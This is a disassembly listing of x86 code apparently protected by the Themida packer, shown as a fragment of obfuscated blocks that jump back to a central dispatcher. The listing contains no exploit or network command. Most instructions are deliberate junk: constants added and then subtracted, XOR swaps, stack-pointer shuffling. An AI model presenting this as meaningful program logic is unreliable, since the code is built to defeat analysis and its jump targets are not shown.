sub esp, 4
mov [esp+0Ch+var_C], edi
jmp loc_589523
; ---------------------------------------------------------------------------
loc_588D88: ; CODE XREF: sub_584787+42BCj
mov ecx, [esp+32h+var_34+2]
add esp, 4
jmp loc_58983C
; ---------------------------------------------------------------------------
loc_588D93: ; CODE XREF: sub_584787+8064j
sub esp, 4
mov [esp+32h+var_34+2], esp
add [esp+32h+var_34+2], 4
pop ebx
add ebx, 4
sub esp, 4
mov [esp+32h+var_34+2], edx
mov edx, 4
sub ebx, 23EF737Fh
add ebx, edx
add ebx, 23EF737Fh
jmp loc_58FE1E
; ---------------------------------------------------------------------------
loc_588DC8: ; CODE XREF: sub_584787+224Cj
add ebp, 4
sub ebp, 4
jmp loc_5862A6
; ---------------------------------------------------------------------------
loc_588DD6: ; CODE XREF: sub_584787+93E0j
push eax
mov eax, 55420D3Eh
jmp loc_5863C2
; ---------------------------------------------------------------------------
loc_588DE1: ; CODE XREF: sub_584787+B84Dj
add eax, 3EA7099Bh
dec eax
shl eax, 7
jmp loc_58AFD9
; ---------------------------------------------------------------------------
loc_588DEF: ; CODE XREF: sub_584787+A526j
add [esp+2Eh+var_2C+2], 37DC565Ah
add [esp+2Eh+var_2C+2], eax
sub [esp+2Eh+var_2C+2], 37DC565Ah
sub [esp+2Eh+var_2C+2], 3CEB3783h
pop eax
mov eax, [esp+2Ah+var_2C+2]
add esp, 4
push ecx
mov ecx, 6D3C614Ch
jmp loc_5863B4
; ---------------------------------------------------------------------------
loc_588E20: ; CODE XREF: sub_584787+AAF8j
xor ecx, 6E22FCB5h
xor esi, ecx
pop ecx
add eax, esi
pop esi
push 7EC9h
mov [esp+26h+var_26], edi
mov edi, 4
push edx
mov edx, 4D444BCEh
add eax, edx
pop edx
sub eax, edi
jmp loc_5878F4
; ---------------------------------------------------------------------------
loc_588E49: ; CODE XREF: sub_584787+31C2j
xor eax, 5CBF6B51h
sub ecx, 3E8D0C76h
add ecx, eax
jmp loc_588133
; ---------------------------------------------------------------------------
loc_588E5B: ; CODE XREF: sub_584787+9BBEj
mov [esp+3Ch+var_3C], esp
add [esp+3Ch+var_3C], 4
mov esi, [esp+3Ch+var_3C]
add esp, 4
add esi, 4
push 7307h
mov [esp+3Ch+var_3C], ecx
mov ecx, 2
sub esi, 22DC627Eh
add esi, ecx
jmp loc_58CFD6
; ---------------------------------------------------------------------------
loc_588E8B: ; CODE XREF: sub_584787+41F3j
mov edi, ebx
push edi
push ecx
mov ecx, 1F747AB0h
sub [esp+1Eh+var_1C+2], ecx
pop ecx
mov esi, [esp+1Ah+var_1C+2]
add esp, 4
add esi, 1F747AB0h
jmp loc_58C179
; ---------------------------------------------------------------------------
loc_588EAD: ; CODE XREF: sub_584787+6959j
pop edx
pop ecx
jmp loc_58D3ED
; ---------------------------------------------------------------------------
loc_588EB4: ; CODE XREF: sub_584787+4911j
mov dl, 9Ah
sub al, dl
pop edx
add al, bh
add al, 9Ah
mov ebx, [esp+0Ah+var_C+2]
add esp, 4
jmp loc_586F59
; ---------------------------------------------------------------------------
loc_588EC8: ; CODE XREF: sub_584787+BDD2j
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0Ah+var_C+2]
mov esp, [esp+0Ah+var_C+2]
mov [esp+0Ah+var_C+2], ebx
xor [esp+0Ah+var_C+2], 349B6407h
pop esi
xor esi, 349B6407h
pop ebx
and eax, esi
push [esp+2+var_4+2]
jmp loc_58C3D5
; ---------------------------------------------------------------------------
loc_588EF6: ; CODE XREF: sub_584787+1607j
mov ebx, 2299E0A1h
jmp loc_5894B2
; ---------------------------------------------------------------------------
loc_588F00: ; CODE XREF: sub_584787+8F6Ej
mov cl, 1Fh
add ah, cl
pop ecx
jmp loc_586E56
; ---------------------------------------------------------------------------
loc_588F0A: ; CODE XREF: sub_584787+4B2Ej
sub ebx, 0D4FA006Eh
add ecx, ebx
pop ebx
sub ecx, 0EBA0D4BFh
add esi, ecx
pop ecx
sub esi, 266D2051h
pop eax
push ebx
mov ebx, 77E76B2Ch
add ebx, 609F3B0Fh
add ebx, 277959C7h
add esi, ebx
pop ebx
xchg esi, [esp-14h+arg_E+2]
pop esp
shl word ptr [esp-18h+arg_12+2], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_588F46: ; CODE XREF: sub_584787+326Fj
xchg eax, [esp+0]
pop esp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_588F4F: ; CODE XREF: sub_584787+1BEAj
mov [esp+4Eh+var_4E], esp
add [esp+4Eh+var_4E], 4
jmp loc_5857D8
; ---------------------------------------------------------------------------
loc_588F5B: ; CODE XREF: sub_584787+BE9Aj
pop ebx
jmp loc_58AF8B
; ---------------------------------------------------------------------------
loc_588F61: ; DATA XREF: Themida_:00584358o
mov eax, [esp+0]
push edi
push esp
pop edi
add edi, 4
jmp loc_58BD01
; ---------------------------------------------------------------------------
loc_588F72: ; CODE XREF: sub_584787+5A0Cj
pop ebp
xor eax, ebp
xor ebp, eax
xor eax, ebp
push 2DC2h
mov [esp+4Eh+var_4E], esi
push 1
mov esi, [esp+52h+var_54+2]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_58635D
; ---------------------------------------------------------------------------
loc_588F97: ; CODE XREF: sub_584787+1ADFj
sub edx, edi
pop edi
jmp loc_58EAD4
; ---------------------------------------------------------------------------
loc_588F9F: ; CODE XREF: sub_584787+8163j
mov edx, [esp+52h+var_54+2]
add esp, 4
add edx, 4
add edx, 4
xchg edx, [esp+4Eh+var_4E]
pop esp
loc_588FB5: ; CODE XREF: sub_584787+77E2j
sub esp, 4
mov [esp+4Eh+var_4E], esi
sub esp, 4
jmp loc_587B95
; ---------------------------------------------------------------------------
loc_588FC6: ; CODE XREF: sub_584787+640Cj
add esp, 4
add eax, 42674185h
jmp loc_585F95
; ---------------------------------------------------------------------------
loc_588FD3: ; CODE XREF: sub_584787-10j
neg dl
jmp loc_586CDF
; ---------------------------------------------------------------------------
push [esp+0Eh+var_10+2]
push [esp+12h+var_14+2]
pop edx
add esp, 4
push ebp
sub esp, 4
mov [esp+16h+var_18+2], esp
add [esp+16h+var_18+2], 4
pop ebp
jmp loc_585167
; ---------------------------------------------------------------------------
loc_588FF8: ; CODE XREF: sub_584787+27E9j
mov eax, [esp-0Ch+arg_8]
push 396Ch
mov [esp-8+arg_4], esi
mov esi, esp
jmp loc_58FD88
; ---------------------------------------------------------------------------
loc_58900A: ; CODE XREF: sub_584787+9E7j
shl ebx, 4
add ebx, 173B4564h
add ebp, ebx
pop ebx
push esi
mov esi, 4
push ebx
mov ebx, 1FB0127h
jmp loc_5903B1
; ---------------------------------------------------------------------------
loc_589027: ; CODE XREF: sub_584787+6AFCj
mov esi, ecx
jmp loc_58E461
; ---------------------------------------------------------------------------
loc_58902E: ; CODE XREF: sub_584787+8877j
mov [esp+3Ch+var_3C], edi
mov edi, 4
add esi, edi
mov edi, [esp+3Ch+var_3C]
jmp loc_58648F
; ---------------------------------------------------------------------------
loc_589040: ; CODE XREF: sub_584787+1FDj
mov ebp, esp
push esi
jmp loc_5891D5
; ---------------------------------------------------------------------------
loc_589048: ; DATA XREF: Themida_:0058421Co
push dword ptr fs:[edx]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589050: ; CODE XREF: sub_584787+2391j
pop ebp
shr ebx, 7
push ecx
mov ecx, 0FFFFFFFFh
jmp loc_58B659
; ---------------------------------------------------------------------------
loc_58905F: ; CODE XREF: sub_584787+AD10j
sub edx, 41F63F85h
add edx, edi
add edx, 41F63F85h
mov edi, [esp+0]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
jmp loc_58995D
; ---------------------------------------------------------------------------
loc_589088: ; CODE XREF: sub_584787+9751j
mov eax, esp
add eax, 4
jmp loc_58D73D
; ---------------------------------------------------------------------------
loc_589094: ; CODE XREF: sub_584787+372Bj
add bh, 8Ah
push edx
jmp loc_588EB4
; ---------------------------------------------------------------------------
loc_58909D: ; CODE XREF: sub_584787-118j
mov edx, [esp+0]
jmp loc_589218
; ---------------------------------------------------------------------------
loc_5890A5: ; CODE XREF: sub_584787+6C71j
inc dh
xor dh, 87h
sub bl, dh
jmp loc_58E45B
; ---------------------------------------------------------------------------
loc_5890B1: ; CODE XREF: sub_584787+88Dj
mov bh, 9Dh
dec bh
jmp loc_585971
; ---------------------------------------------------------------------------
loc_5890BA: ; CODE XREF: sub_584787+B528j
mov ecx, 200h
push ecx
add [esp+20h+var_20], 725C104Ch
pop edx
sub edx, 725C104Ch
pop ecx
jmp loc_588B2E
; ---------------------------------------------------------------------------
loc_5890D4: ; CODE XREF: sub_584787+8CDEj
push ebp
pop esi
pop ebp
jmp loc_584A3A
; ---------------------------------------------------------------------------
loc_5890DC: ; CODE XREF: sub_584787+55A0j
pop esi
xchg edi, ebp
not edi
push ebp
push edi
pop ebp
jmp loc_589AD2
; ---------------------------------------------------------------------------
loc_5890E9: ; CODE XREF: sub_584787+7443j
xor esi, 21620212h
add ecx, esi
jmp $+5
pop esi
add ecx, 4
xchg ecx, [esp+10h+var_10]
pop esp
xchg ebx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
xor byte ptr [esp+0Ch+var_C], al
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589110: ; DATA XREF: Themida_:00584420o
neg byte ptr [esp+10h+var_10]
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589119: ; CODE XREF: sub_584787+3C9Dj
mov edi, [esp+30h+var_30]
add esp, 4
sub edx, 6BE43D75h
sub edx, 676F5841h
add edx, eax
add edx, 676F5841h
jmp loc_58C294
; ---------------------------------------------------------------------------
loc_589138: ; CODE XREF: sub_584787+5398j
pop esp
add ebx, 2
xchg ebx, [esp+0]
jmp loc_586097
; ---------------------------------------------------------------------------
loc_589147: ; CODE XREF: sub_584787+5F43j
add ebp, 405F3901h
mov edx, [esp+0]
add esp, 4
sub ebp, 4
jmp loc_586746
; ---------------------------------------------------------------------------
loc_58915E: ; CODE XREF: sub_584787+99E4j
sub ecx, 0BB210765h
mov esi, ecx
pop ecx
mov edi, esi
pop esi
jmp loc_58F1C0
; ---------------------------------------------------------------------------
loc_58916F: ; CODE XREF: sub_584787+7603j
add ebx, eax
pop eax
add ebx, 2
xchg ebx, [esp+18h+var_18]
jmp loc_584F62
; ---------------------------------------------------------------------------
loc_58917D: ; CODE XREF: sub_584787+45j
xor [esp+12h+var_14+2], edx
xor edx, [esp+12h+var_14+2]
mov esp, [esp+12h+var_14+2]
mov [esp+12h+var_14+2], eax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58918E: ; CODE XREF: sub_584787+7911j
add ebp, 4
add ebp, 4
jmp loc_58C8FC
; ---------------------------------------------------------------------------
loc_58919C: ; CODE XREF: sub_58F5B0+Cj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5891A1: ; CODE XREF: sub_584787+767Bj
push [esp+12h+var_14+2]
jmp loc_58E857
; ---------------------------------------------------------------------------
loc_5891A9: ; CODE XREF: sub_584787+A663j
push [esp+16h+var_18+2]
pop eax
add esp, 4
push esi
mov esi, 3D772706h
sub eax, esi
mov esi, [esp+16h+var_18+2]
add esp, 4
jmp loc_586D48
; ---------------------------------------------------------------------------
loc_5891C3: ; CODE XREF: sub_584787-213j
; sub_584787+2AE6j ...
sub esp, 4
mov [esp-8+arg_4], ebx
mov eax, [esp-8+arg_4]
push eax
sub esp, 4
jmp loc_58D3DE
; ---------------------------------------------------------------------------
loc_5891D5: ; CODE XREF: sub_584787+48BCj
mov esi, 593C69ABh
jmp loc_5905BA
; ---------------------------------------------------------------------------
loc_5891DF: ; CODE XREF: sub_584787+A746j
add edi, 4
xchg edi, [esp+26h+var_26]
mov esp, [esp+26h+var_26]
push dx
push eax
mov al, 0F0h
mov dl, al
pop eax
push ebx
mov bl, 8Fh
xor dl, bl
pop ebx
jmp loc_589835
; ---------------------------------------------------------------------------
loc_5891FE: ; CODE XREF: sub_584787+70AEj
add esp, 4
pop ecx
neg dl
add dl, 38h
sub al, 0D9h
sub al, dl
push ebx
mov bh, 0B3h
jmp loc_589EA2
; ---------------------------------------------------------------------------
loc_589213: ; CODE XREF: sub_584787+50D3j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589218: ; CODE XREF: sub_584787+4919j
add esp, 4
jmp loc_58A2A4
; ---------------------------------------------------------------------------
loc_589220: ; CODE XREF: sub_584787+2E2j
add esp, 4
jmp loc_58D53F
; ---------------------------------------------------------------------------
loc_589228: ; CODE XREF: sub_584787+831j
mov ebp, 7F7C87B6h
mov edx, ebp
pop ebp
add eax, 0A4334F5h
jmp loc_58A9F9
; ---------------------------------------------------------------------------
loc_58923A: ; CODE XREF: sub_584787+2696j
push eax
jmp loc_58D728
; ---------------------------------------------------------------------------
loc_589240: ; CODE XREF: sub_584787+54EDj
mov [esp+1Eh+var_20+2], ecx
mov ch, 1
push eax
mov ah, 88h
shl ah, 5
or ah, 0F2h
inc ah
dec ah
shr ah, 2
jmp loc_585EE6
; ---------------------------------------------------------------------------
loc_58925A: ; DATA XREF: Themida_:00584210o
mov cx, [esp+0]
sub esp, 4
mov [esp+26h+var_26], ebx
push 1237h
mov [esp+2Ah+var_2C+2], esp
add [esp+2Ah+var_2C+2], 4
mov ebx, [esp+2Ah+var_2C+2]
add esp, 4
push ecx
jmp loc_58F327
; ---------------------------------------------------------------------------
loc_58927F: ; CODE XREF: sub_584787+8E93j
push ebx
xchg ebx, [esp+2Eh+var_30+2]
jmp loc_58BC73
; ---------------------------------------------------------------------------
loc_589288: ; CODE XREF: sub_584787+2332j
push esi
jmp loc_58B997
; ---------------------------------------------------------------------------
loc_58928E: ; CODE XREF: sub_584787+3F71j
shl ecx, 1
and ecx, 27824D49h
dec ecx
not ecx
push ebx
mov ebx, 7F1048F5h
shr ebx, 7
neg ebx
xor ebx, 2BE03541h
neg ebx
push ecx
mov ecx, 21AC02A1h
xor ebx, ecx
pop ecx
jmp loc_588F0A
; ---------------------------------------------------------------------------
loc_5892BA: ; CODE XREF: sub_584787+2B10j
xor edi, [esp+8+var_8]
jmp loc_58450E
; ---------------------------------------------------------------------------
loc_5892C2: ; CODE XREF: sub_584787+9A09j
and ecx, ebp
mov ebp, [esp+8+var_8]
jmp loc_584AEF
; ---------------------------------------------------------------------------
loc_5892CC: ; CODE XREF: sub_584787+BB37j
mov [esp+8+var_8], eax
push ebx
push edi
mov edi, 7B070BBCh
mov ebx, edi
pop edi
jmp loc_58CD24
; ---------------------------------------------------------------------------
loc_5892DE: ; CODE XREF: sub_584787+9962j
mov [esp+0Ch+var_C], eax
jmp loc_584E49
; ---------------------------------------------------------------------------
loc_5892E6: ; CODE XREF: sub_584787+2EE7j
mov edi, 4
add ebp, 11A3363Ah
add ebp, 1351641Fh
add ebp, edi
sub ebp, 1351641Fh
sub ebp, 11A3363Ah
mov edi, [esp+0]
add esp, 4
xchg ebp, [esp+0]
jmp loc_58C5DD
; ---------------------------------------------------------------------------
loc_589316: ; DATA XREF: Themida_:005842F4o
mov ax, [esp+0]
push edi
sub esp, 4
mov [esp+0], esp
jmp loc_586652
; ---------------------------------------------------------------------------
loc_589326: ; DATA XREF: Themida_:005841C8o
mov ax, [esp+0]
push 6BABh
mov [esp+74h+var_74], edx
push 37ADh
mov [esp+0], esp
add dword ptr [esp+0], 4
push dword ptr [esp+0]
jmp loc_58C3F9
; ---------------------------------------------------------------------------
loc_589349: ; CODE XREF: sub_584787+55FEj
push esp
pop edx
add edx, 4
add edx, 4
xor edx, [esp+0]
jmp loc_58C087
; ---------------------------------------------------------------------------
loc_58935F: ; CODE XREF: sub_584787+B88Aj
push dword ptr [esp+0]
jmp loc_58E726
; ---------------------------------------------------------------------------
loc_589367: ; CODE XREF: sub_584787+5251j
pop ebp
or eax, eax
jz sub_59006F
push dword ptr [edi+1Ch]
push dword ptr [esp+0]
mov ecx, [esp+0]
add esp, 4
sub esp, 4
mov [esp+0], esi
mov esi, esp
push ebx
mov ebx, 3D5D00D5h
sub ebx, 4DF03724h
or ebx, 26C5556Ah
jmp loc_58DB0E
; ---------------------------------------------------------------------------
loc_58939B: ; CODE XREF: sub_584787+1FC2j
xor [esp+0Ch+var_C], ebp
xor ebp, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], edx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5893AA: ; CODE XREF: sub_584787+FEEj
sub esp, 4
jmp loc_584E26
; ---------------------------------------------------------------------------
loc_5893B2: ; CODE XREF: sub_584787+2407j
push [esp+arg_0]
jmp loc_58A452
; ---------------------------------------------------------------------------
loc_5893BB: ; CODE XREF: sub_584787+9DBj
push ecx
jmp loc_58A5A7
; ---------------------------------------------------------------------------
loc_5893C1: ; CODE XREF: sub_584787+1859j
push edi
mov edi, 2061933h
mov ebx, edi
pop edi
and ecx, ebx
pop ebx
xor ecx, 4FD27D15h
add eax, ecx
pop ecx
sub eax, 14521D8Eh
jmp loc_587FB2
; ---------------------------------------------------------------------------
loc_5893E0: ; CODE XREF: sub_584787+2E97j
mov ecx, esp
add ecx, 4
jmp loc_58EE52
; ---------------------------------------------------------------------------
loc_5893ED: ; CODE XREF: sub_584787+1D95j
sub esp, 4
mov [esp+14h+var_14], ebx
mov ebx, 5E304C58h
dec ebx
push esi
jmp loc_58FAA4
; ---------------------------------------------------------------------------
loc_5893FF: ; CODE XREF: sub_584787+550Dj
xchg esi, [esp+18h+var_18]
pop esp
mov eax, [esp+14h+var_14]
add esp, 4
jmp loc_58DF71
; ---------------------------------------------------------------------------
loc_589411: ; CODE XREF: sub_584787+BFj
mov esi, 0FFFFFFFFh
sub ebp, esi
pop esi
push eax
mov eax, 23911EDEh
shr eax, 7
jmp loc_589CF7
; ---------------------------------------------------------------------------
loc_589427: ; CODE XREF: sub_584787+92CBj
mov ax, word ptr [esp+14h+var_14]
push ebx
mov ebx, esp
jmp loc_58C42D
; ---------------------------------------------------------------------------
loc_589433: ; CODE XREF: sub_584787+74A2j
add esi, eax
mov eax, [esp+18h+var_18]
add esp, 4
add esi, 4
xchg esi, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
or eax, eax
jz loc_58EB11
push dword ptr [edi+1Ch]
push 3FE4h
mov [esp+1Ch+var_1C], edx
push ecx
jmp loc_58B0C7
; ---------------------------------------------------------------------------
loc_58945D: ; CODE XREF: sub_584787+6018j
mov bl, ch
jmp loc_58CEF5
; ---------------------------------------------------------------------------
loc_589464: ; CODE XREF: sub_584787+4D26j
pop esi
add ebx, 4
xchg ebx, [esp+1Ch+var_1C]
pop esp
shr eax, 0Ah
xor eax, ecx
xor eax, ebp
xor ebp, eax
xor eax, ebp
jmp loc_5869D0
; ---------------------------------------------------------------------------
loc_58947C: ; DATA XREF: Themida_:0058419Co
movzx ax, byte ptr fs:[edx]
jmp loc_58E325
; ---------------------------------------------------------------------------
loc_589486: ; CODE XREF: sub_584787+190Bj
inc esi
not esi
sub esi, 0A44193EAh
xor edi, esi
mov esi, [esp+32h+var_34+2]
add esp, 4
xor edi, 0A171E3F3h
and eax, edi
mov edi, [esp+2Eh+var_30+2]
push ebx
mov ebx, esp
push esi
mov esi, 4
add ebx, esi
jmp loc_589464
; ---------------------------------------------------------------------------
loc_5894B2: ; CODE XREF: sub_584787+4774j
xor edi, ebx
pop ebx
sub esi, edi
mov edi, [esp-8+arg_4]
add esp, 4
jmp loc_587ED9
; ---------------------------------------------------------------------------
loc_5894C2: ; CODE XREF: sub_584787+A24j
push 65893135h
pop ecx
shl ecx, 8
dec ecx
jmp loc_58D302
; ---------------------------------------------------------------------------
loc_5894D1: ; CODE XREF: sub_584787+134Fj
add ebx, edi
mov edi, [esp+0Ch+var_C]
push edx
mov edx, esp
add edx, 4
jmp loc_58877B
; ---------------------------------------------------------------------------
loc_5894E4: ; CODE XREF: sub_584787+B9ABj
mov eax, [esp+10h+var_10]
jmp loc_58CF38
; ---------------------------------------------------------------------------
loc_5894EC: ; CODE XREF: sub_584787+1E62j
add [esp+4+var_4], 4
mov edx, [esp+4+var_4]
add esp, 4
push 27DBh
jmp loc_58CB33
; ---------------------------------------------------------------------------
loc_589503: ; DATA XREF: Themida_:00584198o
push dword ptr [edi+3Ch]
push [esp+8+var_8]
pop eax
jmp loc_589A7B
; ---------------------------------------------------------------------------
loc_58950F: ; CODE XREF: sub_584787+B6BCj
mov esp, [esp+8+var_8]
sub [esp+8+var_8], eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58951B: ; CODE XREF: sub_584787+4E7Aj
mov ebx, [esp+0Ch+var_C]
jmp loc_590143
; ---------------------------------------------------------------------------
loc_589523: ; CODE XREF: sub_584787+45FCj
mov edi, 11CB07DDh
add edi, 0CA012D0h
jmp loc_59056D
; ---------------------------------------------------------------------------
loc_589533: ; CODE XREF: sub_584787+A2DBj
popa
popf
retn
; ---------------------------------------------------------------------------
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58953B: ; CODE XREF: sub_584787+1E9Dj
pop esi
jmp loc_58D91F
; ---------------------------------------------------------------------------
loc_589541: ; CODE XREF: sub_584787+8200j
sub dl, 64h
shl dl, 1
and dl, 0B1h
shl dl, 3
jmp loc_586AAB
; ---------------------------------------------------------------------------
loc_589551: ; CODE XREF: sub_584787+3D0Fj
mov ebp, 0E1243A8h
inc ebp
shl ebp, 2
neg ebp
sub ebp, 0C7B6F158h
add edi, ebp
pop ebp
jmp loc_584D4D
; ---------------------------------------------------------------------------
loc_58956A: ; DATA XREF: Themida_:005841DCo
mov ax, word ptr [esp-8+arg_4]
push 47Bh
mov [esp-4+arg_0], ebx
mov ebx, esp
push 354Dh
jmp loc_58CD09
; ---------------------------------------------------------------------------
loc_589582: ; CODE XREF: sub_584787+9B4Bj
add dword ptr [esp+0], 4
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp-4+arg_0]
jmp loc_58F173
; ---------------------------------------------------------------------------
loc_58959B: ; CODE XREF: sub_584787+5761j
xor esi, 4B6707FAh
push edx
jmp loc_5860C2
; ---------------------------------------------------------------------------
loc_5895A7: ; CODE XREF: sub_584787+B262j
add bl, 0D3h
jmp loc_58522F
; ---------------------------------------------------------------------------
loc_5895AF: ; CODE XREF: sub_584787+9C65j
mov [esp+0], ebx
push edx
jmp loc_58BFA0
; ---------------------------------------------------------------------------
loc_5895B8: ; CODE XREF: sub_584787+BDACj
add esi, ecx
pop ecx
jmp loc_590162
; ---------------------------------------------------------------------------
loc_5895C0: ; CODE XREF: sub_584787+5518j
mov [esp+0], edi
jmp loc_589E00
; ---------------------------------------------------------------------------
loc_5895C8: ; CODE XREF: sub_584787+8901j
push 68C9h
jmp loc_58DF1E
; ---------------------------------------------------------------------------
loc_5895D2: ; DATA XREF: Themida_:00584290o
lodsb
xor al, bl
sub esp, 2
mov word ptr [esp+8+var_8], dx
push 1703h
mov [esp+0Ch+var_C], ecx
push ebx
push ecx
mov ch, 0A9h
mov bl, ch
mov ecx, [esp+14h+var_14]
jmp loc_5901C0
; ---------------------------------------------------------------------------
loc_5895F5: ; CODE XREF: sub_584787+34AEj
sub [esp-14h+arg_12+2], ecx
pop ecx
pop edx
add edx, 77194729h
jmp loc_58951B
; ---------------------------------------------------------------------------
loc_589606: ; CODE XREF: sub_584787+8C8Cj
add esi, 4
push 7575h
mov [esp-18h+arg_12+2], edx
mov edx, 4
jmp loc_585A75
; ---------------------------------------------------------------------------
loc_58961E: ; CODE XREF: sub_584787+17BFj
push 4D7Dh
mov [esp+6+var_8+2], esp
add [esp+6+var_8+2], 4
jmp loc_58A85F
; ---------------------------------------------------------------------------
loc_58962F: ; CODE XREF: sub_584787+3393j
mov ecx, esp
push edi
mov edi, 109A3F35h
jmp loc_58DF37
; ---------------------------------------------------------------------------
loc_58963C: ; CODE XREF: sub_584787+4585j
add ebx, ebp
sub ebx, 51F81789h
push [esp+14h+var_14]
pop ebp
push eax
jmp loc_587334
; ---------------------------------------------------------------------------
loc_58964E: ; CODE XREF: sub_584787+41E1j
pop edx
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
jmp loc_59031C
; ---------------------------------------------------------------------------
loc_58965A: ; DATA XREF: Themida_:005843E8o
push dword ptr [edi+1Ch]
popf
pop ax
adc byte ptr [esp+2+var_4+2], al
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589669: ; DATA XREF: Themida_:00584340o
push [esp+6+var_8+2]
push [esp+0Ah+var_C+2]
jmp loc_58F739
; ---------------------------------------------------------------------------
loc_589674: ; CODE XREF: sub_584787+7196j
add esp, 2
jmp loc_588221
; ---------------------------------------------------------------------------
loc_58967C: ; DATA XREF: Themida_:005842D0o
push [esp+0Ah+var_C+2]
push [esp+0Eh+var_10+2]
pop edx
push edx
mov edx, esp
jmp loc_58A8E0
; ---------------------------------------------------------------------------
loc_58968B: ; CODE XREF: sub_584787+408Dj
push esi
mov esi, 2
jmp loc_58A1B8
; ---------------------------------------------------------------------------
loc_589696: ; CODE XREF: sub_584787+9BC8j
mov [esp+0Ah+var_C+2], ebp
push esp
mov ebp, [esp+0Eh+var_10+2]
add esp, 4
push edi
mov edi, 4
jmp loc_58F789
; ---------------------------------------------------------------------------
loc_5896AB: ; CODE XREF: sub_584787+8085j
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_58EFBF
; ---------------------------------------------------------------------------
loc_5896BB: ; CODE XREF: sub_584787+BA8j
sub esi, 72D84181h
mov eax, [esp+52h+var_54+2]
add esp, 4
push edi
mov edi, 139C5F2Dh
sub edi, 139C5F29h
add esi, edi
pop edi
jmp loc_58A0B9
; ---------------------------------------------------------------------------
loc_5896DE: ; CODE XREF: sub_584787+E98j
xor eax, 81D124BFh
add ecx, eax
pop eax
jmp loc_588888
; ---------------------------------------------------------------------------
loc_5896EB: ; CODE XREF: sub_584787+19ABj
add eax, edi
sub eax, 391401F2h
pop edi
add eax, 4
xchg eax, [esp+1Eh+var_20+2]
mov esp, [esp+1Eh+var_20+2]
sub edi, 17C43413h
push edi
jmp loc_58656D
; ---------------------------------------------------------------------------
loc_58970A: ; CODE XREF: sub_584787+A8C8j
sub esp, 4
mov [esp+26h+var_26], ebx
push edx
mov edx, 4
push edx
pop ebx
mov edx, [esp+2Ah+var_2C+2]
jmp loc_58C194
; ---------------------------------------------------------------------------
loc_589720: ; CODE XREF: sub_584787+B98Dj
sub ecx, 284C112Ch
pop ebp
shl ecx, 2
sub ecx, 2052E032h
xor eax, ecx
push [esp+26h+var_26]
pop ecx
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_587A7F
; ---------------------------------------------------------------------------
loc_589744: ; CODE XREF: sub_584787+5A13j
pop ebx
add ebp, 6A3D3C2Ch
add ebp, 4ED33FD7h
add ebp, ecx
sub ebp, 4ED33FD7h
push esi
jmp loc_58A53E
; ---------------------------------------------------------------------------
loc_58975F: ; CODE XREF: sub_584787+7BFEj
push [esp+2Ah+var_2C+2]
pop edx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+2Eh+var_30+2]
pop esp
jmp loc_587B19
; ---------------------------------------------------------------------------
loc_589778: ; CODE XREF: sub_584787+1493j
mov bl, 0D5h
not bl
sub bl, 61h
sub bl, 0C9h
sub bl, 22h
mov cl, bl
pop ebx
add dh, cl
pop cx
xor dh, 8Bh
push eax
mov al, 68h
xor al, 0CFh
shl al, 4
dec al
push ebx
mov bh, 0E8h
not bh
shl bh, 7
sub bh, 95h
jmp loc_58E85D
; ---------------------------------------------------------------------------
loc_5897A9: ; CODE XREF: sub_584787+24AFj
pop ebp
sub edi, 4
push 6C3Fh
mov [esp+10h+var_10], edi
push [esp+10h+var_C]
pop edi
pop [esp+10h+var_10]
mov esp, [esp+0Ch+var_C]
mov [esp+0Ch+var_C], ecx
mov ecx, esp
add ecx, 4
push edi
jmp loc_58DE6C
; ---------------------------------------------------------------------------
loc_5897D1: ; CODE XREF: sub_584787+6286j
pop ebp
push [esp+0Ch+var_C]
pop edx
push 23h
mov [esp+10h+var_10], eax
push esp
pop eax
add eax, 4
add eax, 4
push eax
push [esp+14h+var_10]
pop eax
pop [esp+14h+var_14]
mov esp, [esp+10h+var_10]
jmp loc_588037
; ---------------------------------------------------------------------------
loc_5897FB: ; CODE XREF: sub_584787+AC1Ej
pop ecx
add esi, ebx
jmp loc_585760
; ---------------------------------------------------------------------------
loc_589803: ; CODE XREF: sub_584787+75A2j
push 3492h
mov [esp+10h+var_10], ebp
mov ebp, 0
sub ebp, edx
mov edx, ebp
pop ebp
push edi
mov edi, 56E91246h
dec edi
jmp loc_5869BC
; ---------------------------------------------------------------------------
loc_589821: ; CODE XREF: sub_584787+26B7j
sub esi, 24D655Ch
shl esi, 8
jmp loc_58E7CC
; ---------------------------------------------------------------------------
loc_58982F: ; CODE XREF: sub_584787+6FE0j
push esi
jmp loc_5883F0
; ---------------------------------------------------------------------------
loc_589835: ; CODE XREF: sub_584787+4A72j
add bl, dl
jmp loc_584768
; ---------------------------------------------------------------------------
loc_58983C: ; CODE XREF: sub_584787+4607j
sub esp, 4
mov [esp+32h+var_34+2], ecx
push eax
mov ah, 5Dh
push edx
mov dh, 3Bh
xor dh, 92h
xor ah, dh
pop edx
jmp loc_58DE20
; ---------------------------------------------------------------------------
loc_589853: ; CODE XREF: sub_584787+7CC9j
inc ebp
jmp loc_58D08D
; ---------------------------------------------------------------------------
loc_589859: ; CODE XREF: sub_584787+53E1j
pop eax
jmp loc_589213
; ---------------------------------------------------------------------------
loc_58985F: ; CODE XREF: sub_584787+147Fj
add ebp, esi
add ebp, 32C15CCh
mov esi, [esp+0]
add esp, 4
xchg ebp, [esp+46h+var_46]
pop esp
jmp loc_585A4B
